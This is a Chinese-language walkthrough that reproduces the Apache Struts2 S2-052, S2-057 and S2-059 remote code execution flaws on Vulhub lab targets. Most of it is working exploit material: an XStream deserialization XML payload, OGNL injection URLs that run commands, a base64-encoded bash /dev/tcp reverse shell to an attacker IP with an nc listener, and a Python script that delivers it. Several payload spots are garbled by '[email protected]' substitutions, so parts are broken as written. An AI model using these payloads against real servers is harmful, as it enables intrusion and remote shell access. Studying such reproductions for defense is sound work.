Strtus2漏洞 - Struts2-052 Struts2-057 Struts2-059

S2-052(CVE-2017-9805)

原理：Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，可被远程攻击。

影响版本：S2.1.2-2.3.33;2.5-2.5.12

环境搭建

Vulhub

docker-compose up -d

访问靶机地址，即可搭建成功

漏洞复现

点击一个edit进行编译页面，然后提交，并用burp抓包。

http://192.168.88.128:8080/orders/3/edit

抓包且修改Content-Type为：application/xml

POC

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>   
<string>/tmp/s2-052.txt</string> 
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

进入服务端，查看是否在 /tmp目录下写入s2-052.txt文件

S2-057(CVE-2018-11776)

原理： -alwaysSelectFullNamespace为true。

-action元素没有设置namespace属性，或者使用了通配符。
命名空间将由用户从url传递并解析为OGNL表达式，最终导致远程代码执行漏洞。

影响版本：
Struts 2.3–2.3.34
Struts2.5–2.5.16

环境搭建

Vulhub

docker-compose up -d

访问靶机地址，即可搭建成功

http://192.168.88.128:8080/index

漏洞复现

使用burp suite抓包，修改数据包插入POC

POC:

/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

URL编码：

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

命令执行结果回显出来了

S2-059(CVE-2019-0230)

环境搭建

Vulhub

docker-compose up -d

访问靶场地址，即可搭建成功

http://yourip:8080/index.action

漏洞复现

在浏览器访问http://ip:8080/?id=%25{2*5}，可以发现执行的2*5成功被解析了，会执行OGNL表达式的Struts2标签的属性值，引发OGNL表达式解析。

使用poc来反弹shell，反弹shell的payload需要使用base64编码

bash -i >& /dev/tcp/192.168.88.130/6666 0>&1

# 192.168.88.130 为攻击机ip

base64加密：

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC82NjY2IDA+JjE=

攻击机执行 nc -lvvp 6666 监听6666端口

nc-lvvp 6666

将payload修改为自己的payload后复制到文本里，重命名为
s2-059.py。利用python运行。

s2-059.py:

import requests
url = "http://192.168.88.128:8080"
data1 = {
    
    
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    
    
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('bash -c    {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

在攻击机执行python，即可得到bash反弹shell